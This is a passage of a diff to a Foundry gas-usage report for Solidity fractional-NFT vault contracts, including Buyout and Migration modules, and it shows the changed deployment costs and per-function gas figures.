 │ onERC1155Received            ┆ 839             ┆ 839   ┆ 839    ┆ 839   ┆ 36      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ onERC721Received             ┆ 749             ┆ 749   ┆ 749    ┆ 749   ┆ 121     │
+│ onERC721Received             ┆ 772             ┆ 772   ┆ 772    ┆ 772   ┆ 121     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ owner                        ┆ 382             ┆ 604   ┆ 382    ┆ 2382  ┆ 9       │
+│ owner                        ┆ 360             ┆ 582   ┆ 360    ┆ 2360  ┆ 9       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ setMerkleRoot                ┆ 596             ┆ 22359 ┆ 22487  ┆ 22487 ┆ 172     │
+│ setMerkleRoot                ┆ 662             ┆ 22425 ┆ 22553  ┆ 22553 ┆ 172     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ transferOwnership            ┆ 742             ┆ 2310  ┆ 2318   ┆ 2318  ┆ 208     │
 ╰──────────────────────────────┴─────────────────┴───────┴────────┴───────┴─────────╯
@@ -277,7 +279,7 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                            ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 1121723                                    ┆ 5483            ┆        ┆        ┆        ┆         │
+│ 1247384                                    ┆ 6110            ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                              ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -292,21 +294,21 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                              ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 3898606                                      ┆ 19409           ┆        ┆        ┆        ┆         │
+│ 4024324                                      ┆ 20036           ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                                ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ burn                                         ┆ 2349            ┆ 4218   ┆ 4255   ┆ 4255   ┆ 52      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ create                                       ┆ 224136          ┆ 231964 ┆ 224136 ┆ 278986 ┆ 109     │
+│ create                                       ┆ 224180          ┆ 232008 ┆ 224180 ┆ 279030 ┆ 109     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ createCollection                             ┆ 348452          ┆ 348452 ┆ 348452 ┆ 348452 ┆ 1       │
+│ createCollection                             ┆ 348496          ┆ 348496 ┆ 348496 ┆ 348496 ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ createCollectionFor                          ┆ 319560          ┆ 322602 ┆ 319560 ┆ 348460 ┆ 19      │
+│ createCollectionFor                          ┆ 319604          ┆ 322646 ┆ 319604 ┆ 348504 ┆ 19      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ createFor                                    ┆ 281988          ┆ 291822 ┆ 292088 ┆ 292088 ┆ 38      │
+│ createFor                                    ┆ 282032          ┆ 291866 ┆ 292132 ┆ 292132 ┆ 38      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ createInCollection                           ┆ 10406           ┆ 139483 ┆ 139483 ┆ 268560 ┆ 2       │
+│ createInCollection                           ┆ 10406           ┆ 139505 ┆ 139505 ┆ 268604 ┆ 2       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ fNFT                                         ┆ 228             ┆ 228    ┆ 228    ┆ 228    ┆ 3       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -323,7 +325,7 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ╞════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                        ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 2779003                                ┆ 13880           ┆        ┆        ┆        ┆         │
+│ 2784810                                ┆ 13909           ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                          ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -331,23 +333,23 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ REJECTION_PERIOD                       ┆ 328             ┆ 328    ┆ 328    ┆ 328    ┆ 89      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ batchWithdrawERC1155                   ┆ 4801            ┆ 31066  ┆ 6768   ┆ 72961  ┆ 9       │
+│ batchWithdrawERC1155                   ┆ 4801            ┆ 31115  ┆ 6768   ┆ 73053  ┆ 9       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ buyFractions                           ┆ 3952            ┆ 10023  ┆ 11282  ┆ 15989  ┆ 14      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ buyoutInfo                             ┆ 1335            ┆ 3610   ┆ 1335   ┆ 11335  ┆ 378     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ cash                                   ┆ 4264            ┆ 18366  ┆ 22485  ┆ 22485  ┆ 17      │
+│ cash                                   ┆ 4264            ┆ 17806  ┆ 21752  ┆ 21752  ┆ 17      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ end                                    ┆ 4271            ┆ 22405  ┆ 17431  ┆ 35740  ┆ 52      │
+│ end                                    ┆ 4271            ┆ 21939  ┆ 16697  ┆ 35740  ┆ 52      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ getLeafNodes                           ┆ 5551            ┆ 5904   ┆ 5551   ┆ 9551   ┆ 1042    │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ multicall                              ┆ 5732            ┆ 24289  ┆ 19409  ┆ 74548  ┆ 16      │
+│ multicall                              ┆ 5732            ┆ 23959  ┆ 18710  ┆ 74640  ┆ 16      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ onERC1155Received                      ┆ 906             ┆ 906    ┆ 906    ┆ 906    ┆ 90      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ redeem                                 ┆ 4184            ┆ 30614  ┆ 41299  ┆ 41299  ┆ 8       │
+│ redeem                                 ┆ 4184            ┆ 30041  ┆ 40565  ┆ 40565  ┆ 8       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ selfPermitAll                          ┆ 48901           ┆ 48901  ┆ 48901  ┆ 48901  ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -355,22 +357,26 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ start                                  ┆ 401             ┆ 110444 ┆ 112450 ┆ 124682 ┆ 73      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ withdrawERC1155                        ┆ 4326            ┆ 15176  ┆ 6293   ┆ 33370  ┆ 8       │
+│ supply                                 ┆ 372             ┆ 372    ┆ 372    ┆ 372    ┆ 89      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ transfer                               ┆ 437             ┆ 437    ┆ 437    ┆ 437    ┆ 89      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ withdrawERC1155                        ┆ 4326            ┆ 14989  ┆ 6293   ┆ 32872  ┆ 8       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ withdrawERC20                          ┆ 4303            ┆ 16070  ┆ 6270   ┆ 30622  ┆ 9       │
+│ withdrawERC20                          ┆ 4303            ┆ 15737  ┆ 6270   ┆ 29872  ┆ 9       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ withdrawERC721                         ┆ 4369            ┆ 12046  ┆ 6336   ┆ 31545  ┆ 13      │
+│ withdrawERC721                         ┆ 4369            ┆ 11704  ┆ 6336   ┆ 30804  ┆ 13      │
 ╰────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
 ╭──────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
 │ src/modules/Migration.sol:Migration contract ┆                 ┆        ┆        ┆        ┆         │
 ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                              ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 3202385                                      ┆ 15886           ┆        ┆        ┆        ┆         │
+│ 3206993                                      ┆ 15909           ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                                ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ batchMigrateVaultERC1155                     ┆ 7758            ┆ 33519  ┆ 33973  ┆ 58374  ┆ 4       │
+│ batchMigrateVaultERC1155                     ┆ 7758            ┆ 33583  ┆ 34037  ┆ 58502  ┆ 4       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ commit                                       ┆ 4258            ┆ 175070 ┆ 187216 ┆ 187216 ┆ 30      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -384,23 +390,23 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ migrateFractions                             ┆ 4079            ┆ 15069  ┆ 5786   ┆ 39271  ┆ 6       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ migrateVaultERC1155                          ┆ 6408            ┆ 17184  ┆ 10222  ┆ 34923  ┆ 3       │
+│ migrateVaultERC1155                          ┆ 6408            ┆ 17018  ┆ 10222  ┆ 34425  ┆ 3       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ migrateVaultERC20                            ┆ 6404            ┆ 19749  ┆ 20203  ┆ 32188  ┆ 4       │
+│ migrateVaultERC20                            ┆ 6404            ┆ 19375  ┆ 19828  ┆ 31439  ┆ 4       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ migrateVaultERC721                           ┆ 6449            ┆ 16602  ┆ 10263  ┆ 33095  ┆ 6       │
+│ migrateVaultERC721                           ┆ 6449            ┆ 16355  ┆ 10263  ┆ 32353  ┆ 6       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ migrationInfo                                ┆ 1741            ┆ 2741   ┆ 2741   ┆ 3741   ┆ 2       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ multicall                                    ┆ 8028            ┆ 47590  ┆ 11839  ┆ 122903 ┆ 3       │
+│ multicall                                    ┆ 8028            ┆ 47135  ┆ 11839  ┆ 121540 ┆ 3       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ onERC1155Received                            ┆ 906             ┆ 906    ┆ 906    ┆ 906    ┆ 75      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ propose                                      ┆ 8664            ┆ 301806 ┆ 315195 ┆ 317516 ┆ 36      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ settleFractions                              ┆ 2861            ┆ 72198  ┆ 86017  ┆ 86017  ┆ 18      │
+│ settleFractions                              ┆ 2861            ┆ 72293  ┆ 86131  ┆ 86131  ┆ 18      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
